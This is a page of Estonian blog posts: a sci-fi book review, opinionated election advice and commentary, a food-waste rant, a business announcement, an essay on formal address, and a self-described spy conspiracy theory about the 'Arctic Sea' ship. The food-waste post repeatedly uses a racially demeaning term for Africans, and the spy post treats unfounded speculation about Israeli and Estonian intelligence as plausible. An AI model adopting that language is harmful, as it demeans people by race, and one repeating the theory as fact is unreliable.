pronto.ee

Tomorrow will be cancelled due to lack of interest

Alastair Reynolds: “Absolution Gap”


“Absolution Gap” on otsene järk Alastair Reynoldsi Inhibiitorite sarja eelmisele raamatule “Redemption Ark”. Eelmine loo lõpus olid raamatu peategelased prantsatanud maha Ararati nimelise planeedi peal ning teinud sellest oma uue kodu. Veerandsaja aasta jooksul kasvas peale uus põlvkond ning vanad tegijad olid ennast rahulikesse adminstratiivsetesse rollidesse taandanud. Idülliline pastoraal leiab aga kiire lõpu kui selgub, et vanad sõbrad ja vanad vaenlased on taaskord platsis ja vahetavad planeedi kohal viisakusi relvadest, mille olemasolust põgenikud kuulnudki ei olnud.

Olukorra muudab komplitseerituks ka eelmisest osast tuttav Khouri, kes on omale hankinud segastel asjaoludel tütre. Segased asjaolud on tekitanud olukorra, kus tptre teadvusesse on salvestatud iidsete ning ammu kadunud rasside teadmised, mida Inhibiitorite robotrassi vastu juba edukalt on ka rakendatud. Kõikide teadmiste hulgas domineerib paraku aga üks, milleks on peaaegu kinnisideelaadne vajadus lennata planeedi Haldora kuule nimega Hela ja võtta kontakti Varjudega.

“Absolution Gap”-il on ka teine süžeeliin, mis leiab aset viiskümmen aastat tulevikus ja kus teismeline Rashmika Els läheb otsima oma venda. Rashmikal on kaasasündinud oskus tunnetada, millal inimene valetab, oskus mille vastu hakkavad tundma huvi selle maailma vägevad.

Sedavõrd kuidas Ararati rahvas Helale läheneb, väheneb ka ajavahe kahe süžeeliini vahel, kuniks need mõlemad põimuvad.

Üldiselt on see minu arvates seniajani parim raamat sellest sarjast ja võimalik, et ka Reynoldsilt üldse. Raamatus on päris mitu ahaa! kohta, milleni lugeja jõuab just natuke enne seda kui autor asja lahti räägib. Süžees on piisavalt keerdkäike ning intriige, et asi lõpuni huvitav oleks. Tõenäoliselt ainuke nõrk osa on jutu lõpp: raamat lõppeb liiga kiirelt ning epiloog tekitab rohkem küsimusi kui vastuseid. Ilmselt pole kogu jutt veel sellega läbi ning jätkud tulekul …

Viis, pisikese miinusega.

Väike valimisõpik

Karu-aabitsTere aktiivsed poliitikud ja poliitikahuvilised. Ma loodan südamest, et te selle kirjatüki läbi loete ja sellest omad järeldused teete. Tegemist on õpetusega, kuidas järgmistel valimistel edu saavutada ja selles kajastuvad viimase kümne aasta kogemused, mida ikka jälle, valimistelt valimistele, ignoreeritakse.

1. Ärge vastanduge.
Vastandumine on kahe teraga mõõk. Vastandumine on tegevus, mida saab teha ainult nõrgem tugevamaga sest tugevamal pole tarvis konflikti otsida: mis iganes see valimistega ihaldatav positsioon ka ei ole, see ilmselt juba kuulub talle. Vastandumine näitab nõrkust, mida inimesed, kes teadlikult, kes alateadlikult, registreerivad. Sotsiaalsed uuringud näitavad, et inimesed eelistavad hoida tugevama poole. Näidates vastandumisega ära kumb osapooltest on tugevad annata trumbid kätte oma vastalisele. Kui teile ei meeldi Keskerakond, siis mida vähem te sellest räägite, seda targem ja tugevam te välja paistate.

2. Ärge halvustage.
Halvustamine on labane ja banaalne. Halvustamine ning demoniseerimine on nõrkade relv. Eriti nõrk on halvustamine huumorivaesete naljade ning paralleelidega (vaadake, mis Twitteri #valimised hashtagi alt vastu vaatab). Nõrkadel ei ole võimu juurde asja — te olete täpselt nii tugevad kui tugevad on teie toetajad. Kui teie toetajad on nõrgad, olete ka teie nõrgad. Kutsuge oma valijaid väärikusele. Isegi Priimäe ülev meeleolu ei ole piisav selleks, et selle kallal päevast päeva hammast teritada. Tõsi, üks kord on see naljakas aga nagu iga nali töötab seegi ainult korra ja pärast seda pöörab kõik juba “naljamehe” ense vastu.

3. Jagage fassaadi.
Enamuste erakondadel on tõsised probleemid võimu ja eriti fassaadi jagamisega. Mäletate, Mart Laar oleks peaaegu IRL-i lõhki lasknud kui selgus, et ta ei pruugi erakonna esimeheks saada ning ainult Aaviksoo vastutulelikus päästis vastliitunud erakonna lagunemisest. Tooge tippmängu võimalikult palju tegijaid, sest see suurendab erakonna laiapõhjalikust. Keskerakond on suutnud suhteliselt autokraatliku erakonna tekitada. See lihtsustab nende tegevust radikaalselt, kuid selle taga on lõputu hulk tööd. Keegi teine ei ole praegusel ajal võimeline seda saavutama, välja arvatud ehk juhul kui nüüd neli aastat selle nimel vahendeid valimata palehigis rügada. Erakonnad kipuvad olulise osa oma arsenalist püünelepürgijate peletamiseks kulutama. Mõni ime siis, et nad kuhugi ei jõua. Asjast huvitatud inimeste ring on selleks liiga väike.

4. Ärge jagage elektoraati.
Elektoraadi jagamine on tegelikult derivaat vastandumisest, kuid kuna selle mõistmine nõuab perspektiivitunnet, siis tuleb see eraldi välja tuua. Ei ole olemas tarka eestlast ja lolli venelast. On hulk inimesi, kelle tarkus ja lollus on nende endi teha. Nendel inimestel on omad selged vajadused: katus, toit, turvatunne. Vastandumine selles kontekstis on turvatunde ohtu seadmine, mis tegelikult töötab soovitu vastu. Eriti kohalikel valimistel on see oluline.

5. Ärge ajage sassi pädevusvaldkondi.
Eile lugesin Twitterist ühe “targa” eestlase kommentaari, mis ütles, et Tallinnas on nüüd kõik “tehtud”, et mis järgmiseks, kas krooni devalveerimine. Nagu näha ei tea elektoraat seda, mis on kohalikud omavalitsused, mida nad  teevad ja kuidas nad toimivad. Paljuski on see tingitud erakondade endi suutmatusest sõnastada oma tugevusi ning pidevalt kasutatakse “trumpe”, kuigi kui järele vaadata, siis tegelikult need justkui teemasse ei puutugi. Eriti halb on see siis kui see on segatud halvustamisega, sest kui mäng käib mõlemal poolel samade reeglite järgi on halvustataval poolel selge ülekaal.

6. Ärge minge noaga tulevahetusse.
Kohalikul tasemel kehtivad ühed reeglid ja rahvusvahelisel tasemel teised. Hoidke inimesed, kes rahvusvahelisel areenil silma paistavad eemal kohalikust poliitikast, räägime siin siin kohalikest omavalitsustest või Riigikogust. Eriti Mart Laar on selle koha pealt rikutud, kuna fiaskod Afganistaanis, Gruusias, Kosovos ja Iraagis ei mõju mainele just tervendavalt. Suur osa neist on Eesti jaoks olnud otsitud vastandumiskonfliktid, mis kaugeltki mitte kõigile vastuvõetavad ei ole. Kindlasti ei tohi välispoliitilisel areenil silma paista erakondade esinumbrid, sest tänane positiivne sõnum võib homme juba olla negatiivse iseloomuga. Välispoliitiliselt tuleb tihtipeale tuua ohvreid, mis tuleb kinni maksta sisepoliitika arvelt ja kui maksjaks on erakonna esimees või mõni juhtoinas, siis maksab kogu erakond.

7. Valimised ei toimu vaid korra nelja aasta tagant.
Järgmisteks valimisteks valmistumine peab hakkama juba nüüd, sest pole kahepalgelisemat tegutsemist, kui asuda tegema naeruväärseid lubadusi vahetult enne valimisi. Erakonna jaoks peaks olema tähtis iga paar kuu tagant silma torgata millegagi, mida nad lubanud. Loomulikult ei pääse keegi valimiseelsetest hüperlubadustest, kuid kui praktikas  on erakond tegudes olnud ümmargune null, siis oleks need sama hästi ka andmata võinud jätta.

8. Julgesid vea teha, julge ka vastutada.
Kui paljud erakonna ninamehed on jugenud tunnistada tehtud vigu ja ennast selle eest ka nuhelda. Mulle meenub ainult paar suuremat episoodi ja valdavalt on need olnud seotud Edgar Savisaarega, kes pärast ühte või teist läbikukke aastaks-paariks Hundisilmale on auranud. Teiste erakondade esimeeste hulgas tekitaks selline idee õudu — mõelda vaid, äkki aasta-paari pärast tagasi tulles ei olegi soe koht ootamas. Kui sa oled väärt mees, siis oodatakse sind tagasi, kui ei, siis mis seal ikka — loll pea ongi kehale koormaks. Pealegi kui asi oleks kindla peale minek, siis poleks tegemist mitte karistuse vaid puhkusega.

Need kaheksa punkti peaks olema sellised, mis järgmiste valimiste ajalt ükskõik millise erakonna tippu aitavad. Veame kihla?

Valimispohmell

VOTE!Valimised on siis selleks korraks läbi saanud ja tulemused teatavaks tehtud. Väga palju siin midagi kommenteerida ei olegi — ma prognoosisin, et Keskerakond kas siis saab jälle absoluutse enamuse või moodustab koalisatsiooni koos sotsidega. Tundub, et mängu lähevad mõlemad versioonid.

Muide, kurbnaljakas on lugeda neid jutte, et ei tea miks küll kohukesed tahavad sotsidega linade vahele pugeda. Poliitikas kehtib reegel, et hoia oma vaenlane enda lähedal — reegel, mille vastu praegune Toompea koalisatsioon räigelt eksis ja mille vilju nad nüüd nutunägu ees oma kontorites nosivad. Keskerakond on alati suure kämblaga olnud ja alati ka omade eest seisnud. Tõsi, mitte alati pole päris selge, keda nad omadeks nimetavad, aga nad teavad kuidas selgade kokku panemine käib. Enne kui muud erakonnad seda asja ära ei õpi ei saavuta nad suurt midagi. Ega asjata ei öelda, et ütle, kes on su sõbrad. Kui sul sõpru ei ole, siis oled sa tühi koht.

Aga see selleks. Mõni hetk tagasi saatis Mart Laar laiali valimisjärgse kirja ja nagu näha pole mees ENDISELT oma vigadest õppinud. Selle asemel, et aumehe kombel võtta omale vastutus ebaedu eest valimistel keksis mees ringi ja rääkis kui halvasti teistel läks. Pikk lõik oli selle kohta, kuidas Keskerakonnal läks kõik palju halvemini kui eelmine kord. Kulla mees, maga kaineks: Keskerakond võttis rohkem hääli kui kunagi varem ja Tallinn on inimeste arvult kolmandik Eestit ja kapitalilt pool. Kui sul on Tallinn käes ei ole enam absoluutselt tähtis, mis toimub (kogu lugupidamisega saarlaste suunas) kusagil Kuressaares. Ausalt, Mart, see, et ma hääletasin nendel valimistel IRL-i poolt ei ole mitte tänu sinule, vaid vaatamata sinule. IRL-i mängijate pink on piisavalt pikk, et oleks juba aeg võtta omale ammu ära teenitud halli kardinali mugav nahast tugitool kusagil tagatoas ning lasta parema renomeega ning selgema visiooniga inimestel fassaadi kujundada.

Ma juba eelmiste valimiste ajal märkisin, et halvim variant, mida üks erakond saab teha on vastanduda Keskerakonnale. Esiteks kui sa oled potentsiaase valija jaoks antipaatne, siis sellisel juhul valib ta nimme sinu vastalise. Teiseks ennast teise erakonnaga vastandades tunnistad sa, et sa oled neist nõrgem (tugevamad on ju suuremeelsed) ning samuti ei ole võimeline käima välja oma ideid. Kõik sõnumid, mille sees on Keskerakond või Edgar Savisaar mõjuvad lõppkokkuvõttes viimaste reklaamina, sest PR-i rusikareegel on ju, et ka halb avalikus on hea avalikus.

Kogu selle tingel-tangeli pärliks leiab ikka veel inimesi, kes tõsimeeli usuvad, et valikut tegemata jättes teevad nad endale, teistele ja riigile teene. Viimane, kellelt ma midagi taolist ootasin oli Tarmo Jüristo, kes täitsa avalikult tunnistas, et tema valimas ei käinud, kuna kellegi poolt polnud valida. Selle kohta ei oska ma midagi muud öelda, et kui meil oleks lihtsalt valikud hea ja halva vahel, siis poleks meil ju valimisi vaja. Või tuues näite bridžist: ässadega oskavad kõik tihisi võtta. Aga pakis on 52 kaarti ning ässasi on ainult neli. Ning kaks ülejäänud kolmest mängijast on sinu vastu. Kaartide lauale löömine kui kätte ükski äss ei tulnud on aga lihtsalt väga-väga lapsik.

Tallinn on hapu

Hapud viinamarjad

Hapud viinamarjad

Analüütikud on inimesed, kes võtavad ette mingi keerulise probleemi ning üritavad sellele leida lihtsa, kõigile mõistetava ja vastuvõetava vabanduse. Seejärel kui selgub, et vabandus ei pea vett, siis leiavad kiiresti vabanduse, miks vabandus vett ei pea. Mõelge ise, perseminekute selgitamine on neil ju juba ametinimetuseski sees: ANAL-üütikud.

Tänase päeva ANAL-üüs ütleb, et tegelikult ülejäänud parteid ei tahagi Tallinnat. Tallinn on nimelt niikuinii hapu, maitseb paha ja ajab inimesed veel takkatraavi tülli. Kellel ikka muret majja vaja on.

No ei ole ma nõus selle asjaga. Iga erakonna jaoks on Tallinn üks paremaid maiuspalasi kui mitte öelda, et lausa tort kirsi all. Poliitikud on eravestlustes märkinud, et finantsiliselt on kontroll Tallinna üle väärtuslikum kui koalisatsioonikoht valitsuses. Riigi rahade liigutamist jälgivad peale opositsiooni ja koalisatsioon, ajakirjandus ning rahvas. Tavaliselt on huvigrupid selged, summad suured ja tahtjaid palju. Samas all-linnas on vesi palju sogasem ning poris püherdamine on seksikas ainult siis kui seda teevad (pool)paljad näitsikud ohutus kauguses. Sestap jäävad linnaviletusesele palju vabamad käed erinevate skeemide läbi viimiseks. Kuigi summad võivad olla väiksemad kui Toompeal, on raha sellele vaatamata piisavalalt ning 7 miljardiga aastas võib nii mõndagi ette võtta.

Lisaks unustab EPL-i ajakirjanik ära ühe olulise aspekti: Tallinnal ja Toompeal rahva pool vaadatuna üks, kuid väga oluline erinevus: nimelt Tallinnas saavad hääletada ka hallipassimehed, keda on kilulinna elanike hulgas oluline hulk ning kes peaaegu eranditult annavad oma hääle Keskerakonnale. See on ka igati mõistetav, sest mittekodanikest elanikud on omamoodi maa ja taeva vahele jäetud. Tänu sellele võib öelda, et kuigi kohalike omavalitsuste kohtade jagunemine on lävepakuks Riigikogu valimistele, ei ole see seda Keskerakonnale. Ma pakun, et kui mingi koht on “Peaministri” autorile nüüd ja edaspidi kättesaamatu ja seega hapu, siis on selleks just Toompea koalisatsiooni koht.

Üldiselt kui varem käis heitlus ülal ja all ühtlase pinevusega, siis alates eelmisest korrast kui Keskerakond õige hingamise kätte sai, loksus asi paika ning mänguväljak sõideti buldooseriga siledaks. Kui nüüd Savisaare meeskond eelmise korra trikk uuesti läbi läheb, siis on kõik nagu ennegi ning pigem käib võitlus teise koha nimel nagu Tarand leidlikult ära märkis. Kui peaks juhtuma, et Keskil pole piisavalt jõudu, et Tallinnas kontroll enda kätte saada, siis vaevalt, et teda enam kuhugi suuremasse seltskonda kutsutakse. Tegemist on omamoodi kasvatamatu jõmpsikaga, kelle lauakombed on vastuvõetamatud kõigile. Küll aga koalisatsiooni moodustab praegune opositsioon, siis lähevad üle vaatamisele jõujooned ka mäe otsas.

Muide, seda praeguse koalisatsiooni tekkimist ka alla linna pole väga karta vaja, sest üleval on veel sotsid, kelle jaoks eelnev reetmine on endiselt terav teema, Rahvaliit ja rohelised. Siin on oluline mõista, et RL ja rohlised on mõlemad hetkel ühe mütsi all ning teiseks on uute tulijate (mida rohelised kahtlemata on) jaoks seisukohad olnud tähtsamad sõpradest. Toompeal nad juba said, mida nad tahtsid, maksu- ja aktsiisitõus on kotis, seega pole neil enam koalisatsiooni olla vaja. Tallinnas seevastu võivad nad olla need paar kohta, mis Savisaarel puudu on ning küllap tal juba on, mida neile pakkuda. Just rohelised ja sotsid ongi see tüma maa, millest EPL analüüs oleks pidanud rääkima, sest IRL ja Reform ei saa ilma oma positsioone nurka värvimata midagi keerulist teha.

Aga nüüd ma olen juba ise anal-üütiku libedale teele astunud ning jätaks selle jutu parem praeguseks katki ning tuleme selle juurde tagasi alles pärast valimisi, sest muidu võib juhtuda, et mul on siin rohkem välja vabandada vaja kui asi seda väärt on.

Kes ei mõtle, see ei pea sööma

Õun

Õun

Täna tekkis Minutisse jabur uudis, mida keegi skandaalse tõe pähe on edastanud. Lugesin ja mitte ei saa vaiki olla.

Selgub, et keegi Briti härrasmees on ostnud omale aakri maad ja tegeleb seal potipõllumajandusega. Et oma eluviisile põhjendust leida on ta teinud uurimistööd ja avastanud, et hirmus palju toitu läheb arenenud maailmas raisku ning sellega saaks mustmiljon neegrit kusagil Kongos söönuks.

Iga kord kui ma sellist artikli loen hakkab mul valus. Mitte sellepärast, et kusagil midagi raisku läheb, vaid sellest kui eluvõõrad inimesed on. Nimelt, mida mees tegelikult tegi oli see, et ta paljastas kuivõrd efektiivne praegune süsteem on, võrreldes varasematel aegadel kasutusel olenud lahendustega. Rääkides sellest kui skandaalsest laristamisest on sama hea kui rääkida, et raamatute lugemine rikub moraali ja vähendab ajukapasiteeti.

Sest selle kodaniku sõnavõtuga tuli mulle meelde kooliaeg, mil räägiti sellisest asjast nagu naturaalmajandusest (see on see majandus, mis eksisteeris enne raha leiutamist). Põhimõtteliselt üks asi, mida selle käigus tutvustati oli tootmise paiksus. Muu hulgas räägiti seal ka sellest, et kui mida lähemal on tarbimine tootmisele, seda väiksemad on kaod ja seda odavam on hind. Lisaks räägiti seal ka seda, et mida suuremahulisem on tootmine, seda efektiivsem see on ning lisaks räägiti seal seda, et mida lähemal on tootmine toorainele, seda kasumlikum see on. Tõsi, teinekord vajab tootmine rohkem toorainet kui tema lähedal asuv maadla võimaldab seega tuleb valida, kas suuremamahulisem tootmine või tooraine lähedus. Põllumajanduse juures on tooraineks viljakas pinnas ning väga palju vaba ruumi ja väga vähe inimesi.

Mida ma sellega silmas pean? Kui ma lähen õunapuu juurde ja sealt õuna nopin ning ära söön, siis jääb sellest järgi kõigest  õunasüdame jagu (laristamine!!!) jääke. Paraku on seal neid õunu vaid üürike aeg ja palju sinna puu alla neid inimesi ikka mahub. Sestap tekib mul idee õunu koju viia. Tänu sellele hangin ma omale korvi (kulu), teen tööd (kulu) ja vean saagi siis autoga linna (kulu), et sahvris (kulu) hea võtta oleks. Lisaks veereb nii mõnigi õun kuhugi vahele, saab transpordil muljuda või muutub mõnel muul viisil söödamatuks. Puu all korvi pandud õuntest ei jõua kaugeltki kõik õunad mulle koju, mis omakord tõstab kulu õuna kohta.

Üritame nüüd selle õuna poodi viia. Nüüd tekivad lisak veelgi uued ja huvitavad kulud: nimelt ei piisa enam käest ja korvist. Tuleb organiseerida varud, et õunu edasimüüjal pidevalt võtta oleks. Tuleb organiseerida suuremahulisem transport, tuleb organiseerida suuremahuline säilitamine. Tuleb läbida kvaliteedidkontroll. Tuleb saada sertifikaat, et müüdav kraam on söögi ja müümiskõlbulik. Tuleb hankida müügipind. Tuleb müügilinnale hankida vahendis ja seadmed, mis võimaldavad õunu müüa. Tuleb organiseerida nende jõudmine lettidele ja nende hindamine ning jooksev kontroll. Tuleb arvestada riskiga, et mitte kõigi õunu ei õnnestu maha müüa.

Üritame õuna nüüd neegripoisile viia. Nüüd tuleb mängu põhimõtteliselt kõik, mis eelmises sambas, aga juba vähemalt kahes riigis, kusjuures veel riikidevaheline transport. Kui puu all seismine ei võtnud üldse aega ning koju viimine võttis päeva, siis poodi viimine võtab vähemalt nädala kui mitte kaks ja toimetamine teise riiki võib võtta juba kuid. Eriti kui transport toimu kuhugi arengumaasse. Mida pikemaks läheb aeg, seda suuremaks lähevad kulud. Lõpuks selgub, et neergipoiss peab selle eest maksma ligi 10x rohkem kui inimene esimeses poes. Ning kadu temani jõudmise juures on 25%. Loomulikult pole neegripoiss nii rikas, et seda õuna omale lubada.

Aga mis selle mehe jutu juurde tagasi tulles tragikoomiline on. Näiteks toodi seal Mark & Spenceri võileivaosakond, kus iga päev sõidutatakse prügilasse 13000 leivakannikat. Muide, see number tundub palju suure, kui see kaalult on, kuid skandaali loomiseks on see piisav. Võtmae nüüd asja nõnda, et neegripoisteni vedamiseks tuleks need kannikad kokku koguda, sest ükshaaval neist ju tuviga ei saada. Need tuleb pakendada, KOHE peale lõikamist, sest juba paari päevaga on seda raske tarvitada ja juba paari nädalaga on seal tuukrid sees — eriti kui kraami on suurtes kogustest ja iga kannika kvaliteeti ei saa individuaalselt kontrollida. Seda tuleb veda, ümber lastida, vedada, säilitada, vedada, ümber jagada, vedada. Tulemuseks on see, et kohale jõuab hulk toiduks kõlbmatut kraami, millele lisaks tuleb kanda ka selle hävitamise kulud. Äkki oleks olnud mõistlikum see hävitada kohe? Ilma nende kohutavate kuludeta?

Lisaks on üldteada fakt see, et arenenud riigid on võimelised tootma toitu mitu korda rohkem kui nad ise on võimelised tarbima.  Samas selleks, et seda neegripoistei toimetada on riigil odavam see riik vallutada, seal korraldada oma tootmine ning nõnda neegripoisid rõõmsateks ning ümarateks toita. Vedades ülejääke kuhugi maailma teise otsa, tekivad kulud, mis tuleks võtta oma kodanike taskust. Paljud teist on valmis lapse nädalas korra söömata jätma, et üks neegripoistest saaks korra nädalas süüa?

Või teine võimalus — paljud teist on valmis sööma ebakvaliteetsemat toitu, ignoreerima säilivusaegasi ning valikuvabadust? Kohalike põllupidajaid doteerituakse niigi, sest tegemist on strateegilise ressursiga (kriisiolukorras saavad kõik aru, mis tähendab see, et kartulid on endal võtta). Hävitada põllumajandus täielikult ning osta kõik Taanist sisse (seal on hea maa, effektiivne ja suures koguses transport vähendab ka kadusi).

On olemas veel kolmaski võimalus — nimelt tuua näljased neegripoisid siia, toidule lähemale. Huvitav, kuidas selline asi meeldiks sellele seaga kokku elavale britile? Kuna tegemist on eelnevatest meetoditest kõige effektiivsemaga, siis selles suunas paistab töö käivatki.

Äkki lihtsalt ei kirjutaks selliseid asju ja ei ajaks mind kurjaks?

Eepohs

Sedapsi. Ma olen viimased kaks aastat seadnud atra e-kaubanduse / e-poodide valdkonnas ja eelmine kuu jõudsin siis punkti, kus ma tundsin, et on aeg traditsioonilistest raamidest välja astuda ning üks viis seda teha oli iseenese peremeheks hakata. Seoses sellega asutasin ma ettevõtte nimega Eepohs (tagurpidi shop.ee) Consulting eesmärgiga aidata inimesi ja firmasi, keda see valdkond huvitab — või kes juba sellega tegelevad — ree peale. Seoses sellega astun ma muide homme Radissoni hotellis üles Äripäeva poolt korraldataval seminaril, kus ma katsun põgusalt rääkida veebianalüüsi maailma hiilgusest ja viletsusest.

visiitkaart

“Sina” või “Teie”?

chickentimmy“Registreerumine õnnestus. Teiega võetakse peatselt ühendust.”

Tegemist on ilmselt juba sadu kordi tallatud rajaga, kuid eile tekkis meil taas kord tõsine küsimus: kas teenuse dokumentatsioonis tuleks kasutaja poole pöörduda Teie või Sina vormis. Internet andis argumente enam vähem võrdselt mõlemasse leeri ning ammendava vastuseni me ei jõudnudki. Sestap tegin ma mõningast uurimistöö ja tulemused on järgnevad.

Teietamine on üsna vana komme ja on üks hierarhilise ühiskonna tunnustest. Kuigi selle kombe alguseks pakutakse erinevaid ja üsna kindlalt vääraid juuri, on selle taga suhtlemine inimeste vahel, kellest vähemalt üks esindab kedagi. Näiteks Vana-Roomas pöörduti Teie vormis riigiametnike poole, kuna iga riigiametnik esindas lisaks endale ka riigiaparaati ja/või valitsejat. Muide, analoogne süsteem levis täiesti sõltumatult ka Aasias, mis viitab selle teeoria paikapidavusele. Ajapikku üldistus teietamine ka muudesse valdkondadesse ning hakkas tähendama sind ja sinu kodakondseid või sind ja sinu alluvaid. Laiemas laastus tähendas see seda, et vähemalt üks vestluse osapooltest pidas teist piisavalt väärikaks, et too võiks esindada ka teisi.

Muide, teietamine töötas ka teistpidi — tõenäoliselt olete isegi märganud, et isevalitsejad tihtipeale meietasid iseennast. Tegelikult päris nii see ei olnud. Kuningad ja keisrid on läbi aegade püsinud võimul tänu toetajatele. Küll nimetati neid õukondlasteks, küll millekski muuks, kuid valitsejad võtsid haruharva vastu otsuseid täiesti oma suva järgi. Tavaliselt olid nad siiski eelnevalt teemaga kursis, mängureeglid ja kriteeriumid olid eelnevalt kokku lepitud ning isegi kui kuningas tegi otsuse ainuisikluselt, püüdis ta seda tehes vältida konflikti oma toetajatega. Kui keiser endast rääkides kasutas Meie vormi, siis tähendas see seda, et ta räägib kui valitseja. Kui valitseja kasutas Mina vormi, siis rääkis ta kui inimene, oma mätta otsast lähtuvalt — see oli aga midagi, mis paraku juhtus ainult üsna väheste kaaskondsetega.

Aga lähme edasi. Paljudes keeltes, näiteks inglise ja hollandi keeles on mina vorm peaaegu välja surnud. “You” inglise keeles on eelkõige just Teie vorm (alati “You are”, mitte “You is”). Ühest küljest on inglise keele puhul tegemist kultuurilise eripäraga, kus viisakus on normiks. Teisest küljest muutus see oma lihtsuse tõttu kiiresti kaupmeeste ja erinevate ühiskonnakihitide omavahelise suhtlemise keeleks ning võimalike solvangute ja sellest tingitud komplikatsioonide vältimiseks hakati Teie vormi eelistama ka tavasuhtluse puhul ning tänu sellele on familiaarne Mina vorm (“Thou”) inglise keelest praeguseks enam-vähem täielikult välja surnud.

Mida tegid vanad eestlased? Vanade eestlase kohta ei oska me kosta midagi, aga eelmise sajandi alguses välditi taoliseid asesõnu ning kasutati täiesnime või tiitleid: “Mida preili soovib?”, “Kas härra Johannes on valmis dokumendile alla kirjutama?” Paraku eeldas taoline lähenemine personaalset suhtlemist, mis näiteks ajakirjanduse puhul tavaliselt võimatuks ostutus. Sestap hakkas pisitasa levima ka Teie vorm. Nõukogude võim tegi selle küsimusega kohe selge soti — vene keeles nagu ka enamustes Euroopa keeltes tähendab Teie vorm lugupidavat lähenemist. Ühes sellega tekkisid ka reeglid: kui võõrad inimesed omavahel Sina vormi kasutasid, siis viitas sellele, et nad ei väärtusta teineteist. Alternatiiviks oli siinkohas see, et nad suhtlesid omavahel kui võrdsed, et tunnevad tungivat vajadust suhet süvendada. Tänu sellele oli inimese sinatamine kõndimine libedal jääl: ühest küljest oli see familiaarne ja usaldav, teisest küljest alandav või pugejalik (sõltuvalt kontekstist). Teie oli seevastu suhteliselt ohutu pöördumise viis, mis muutus negatiivseks ainult siis kui üks osapooltest hakkas ühel või teisel põhjusel seda kasutama sina vormi asemel.

Muide, mõnekümne aasta eest, kui Rootsis suur võrdõiguslikkuse palang aset leidis, katsuti Teie vormi lausa riiklikul tasemel sekkumisega keelest eemaldada. Osaliselt see ka õnnestus ning praeguse 30-40 vanuses inimesed kasutavad automaatselt suhteldes sealkandis Sina vormi. Seda kommet on vahelduva eduga proovinud importida ka Valdo Randpere.

Lisaks on proovitud ka väita, et noored kasutavad automaatselt Sina vormi, kuid selle koha pealt vaidleks ma kohe vastu: uuringud näitavad, et Eesti õpilased tunnevad ennast palju mugavamalt, kui nad suhtlevad õpetajatega Teie vormi kasutades. Enamgi veel, õpilased sooviks, et õpetajad pöörduks nende poole Teie vormiga. See muide on aset leidnud ka Rootsis. Osad võrdõiguslased on hakanud pahandama, et tekkinud on nn. uusteietajad: selgub, et paarikümneaastastel noortel on psüühiliselt raske tööl pöörduda kliendi poole sama vormiga, millega nad pöörduvad oma sõprade poole. Eelkõige soovivad nad seda enesekaitseks ja distantsi hoidmiseks: klient ei ole sõber. Tänu sellele, et Teie vorm Rootsis uuesti pead hakanud tõstma.

Ma muide isiklikult kasutan kliendiga suheldes Teie vormi — eelkõige seetõttu, et klient esindab lisaks endale ka oma firmat ning meie (näete, ma meietan ennast) seisukohalt suhtleme me eelkõige just firma, mitte inimesega. Ma kasutan Teie vormi juures ka suurt esimest tähte — samas Sina vormi puhul ma suure esitähe kasutamisel mõtet ei näe, Sina vorm on juba piisavalt intiimne ning seda kuidagi suure tähega aupaklikumaks tegemine on nagu sea selga sadula panemine.

Aga mis TEIE, head lugejad, asjast arvate. Kumb vorm teile endale teenusekasutajana rohkem meeldiks — kas Teie vorm või Sina vorm?

Disc rot

Disc rot

Disc rot

Pakkisin hiljuti ühe kasti lahti, mis sisaldas erinevatel aegadel sinna paigutatud andmeid, põletatuna CD-de ja DVD-de peale. Ma proovisin paari vanemat neist lugeda, aga edu selles valdkonnas oli üsna vahelduv — üle 10 aasta tagasi kirjutatud CD-d ei pruugi sugugi enam loetavad olla. Üks termin, mida sellistel puhkudel kasutatakse on disc rot, ehk kettakõdu.

Seoses sellega tekkiski mul küsimus: kas Mac OS-i jaoks on olemas mingit tarkvara, mis võimaldab selliseid kettaid tuvastada. Ma pean silmas seda, et pistad ketta masinasse, arvuti suristab natuke aega ja ütleb, et sellelt kettalt on lugemisega raskusi. Taoline asi võimaldab mul tuvastada säilivusprobleeme juba algfaasis, teha vajalikust kraamist koopiaid ja mittevajaliku kraami ilma igasuguste südametunnistusepiinadeta prügikasti toimetada.

Spioonilugu, täiendatud variant

Spioonid

Spioonid

Ennist ma siin jaurasin teiste konspiratsiooniteoreetikutega kooris “Arctic Sea” teemal. Nagu näha midagi, mis mu spioonilugu ümber tõukaks ei ole seniajani veel ilmunud, samas on avaldatud kergesti ümbertõugatavat müra, millega proovitakse suitsukatet teha. Ometi üks asi on minu arvates tähelepanuväärne: nimelt Iisraeli poliitikute ja erinevate asjapulkade voorimine Moskva vahet.

Ma arvan, et see, kes kelle juures käib on juba iseenesest kõnekas detail: tundub, et kõige suurem huvi suhteid siluda on just juudiriigil, mis omakorda tähendab seda, et neil on, mida siluda. Kuigi see suures plaanis midagi ei muuda, lisandub minu spioonilukku selle koha pealt üsna olulist detaili. Nimelt jääb minu teooriaks endiselt see, et kohalik maffia paneb millelegi käpa peale, kuid uus teooria näeb ette, et kaubale leidub kohe ka ostja Mossadi näol. Kaup tuleb kiirkorras Venemaalt minema toimetada ja selleks sobib suurepäraselt väike kaubalaev, mis teeb vahepeatuse puidulasti peale laadimiseks Soomes.

Selleks, et kaup enne sihtpunkti jõudmist kätte saada on vaja aga korraldada röövimine, mille viib läbi mingi kolmas osapool. Selleks kombatakse pinda mõne Läänemeremaa salateenistuste juures ning jõutakse kokkuleppele eestlastega. Nood leiavad kamba ullikesi, kes näiliselt laeva kaaperdamisel osalevad ja aitavad lasti maha tõsta (tavaline muskel, mis ei vaja mingit eriväljaõpet). Meestele endile ei räägita midagi ning nad on päris lõpuni kindlad, et nad on lihtsalt kaubalaeva abitööjõud, kus laeva kapten ja meeskond on omanikega vastuolla sattunud. Alternatiiviks on laev vallutada, kaup maha tõsta ja alus seejärel uputada. Lihtne välja pakkuda kuid väga raske pärast ära siluda. Võimalik, et see oli ka algne plaan, kuid siis lendas kõik vastu taevast.

Vahet pole, kas laeval oli keegi Vene vastuluurest või mõni meeskonnaliige tegutses omal initsiatiivil, kuid vaikselt toimunud operatsiooni kohta info lekkis. Üks meremeestest helistas ja palus abi ning info jõudis Moskvani. Kohemaid pandi kõik rattad täiel võimsusel tiirlema ning loetud tundi jooksul saadi asjast üsna hea ülevaade. Ühendust võeti ka Tel Aviviga ja esitati lühike, kuid üsna selge küsimus: “WTF?” Iisrael palub selgituseks ajapikendust ning teeb ettepaneku, et äkki on midagi, mis vastastiku kasulikel alustel paneks venelased seda intsidenti unustama. Venelased on nõus.

